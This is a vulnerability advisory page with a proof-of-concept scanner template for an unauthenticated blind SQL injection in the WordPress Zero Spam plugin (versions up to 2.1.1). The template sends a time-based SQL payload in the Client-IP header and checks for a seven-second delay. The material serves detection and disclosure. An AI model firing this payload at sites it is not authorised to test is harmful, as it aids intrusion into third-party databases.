zero-spam-sql-injection: WordPress Zero Spam <= 2.1.1 - Blind SQL Injection

2025-08-01 WordPress Zero Spam PoC Public

Description

The WordPress Zero Spam WordPress plugin was affected by an Unauthenticated Blind SQL Injection security vulnerability.

PoC

id: zero-spam-sql-injection

info:
  name: WordPress Zero Spam <= 2.1.1 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The WordPress Zero Spam WordPress plugin was affected by an Unauthenticated Blind SQL Injection security vulnerability.
  remediation: Fixed in version 2.2.0
  reference:
    - https://wpscan.com/vulnerability/44cc8d59-9b45-46b7-afaf-894e4ba62dd5
    - https://wordpress.org/plugins/zero-spam/
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: time-based-sqli,wpscan,wp,wp-plugin,wordpress,zero-spam,sqli,unauth,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET / HTTP/1.1
        Host: {{Hostname}}
        Client-IP: '+(select(0)from(select(sleep(7)))v)+'

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "zerospam-js")'
        condition: and
# digest: 4a0a00473045022100cb6b385fd0da9483ad52af6ce2fc3a173b84b09a445ed648bfafe2a30fd097e1022074ad0ca6f15d20ad86532ae753824d2b21e0b1b0e2ba1ea383911304c022eb58:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities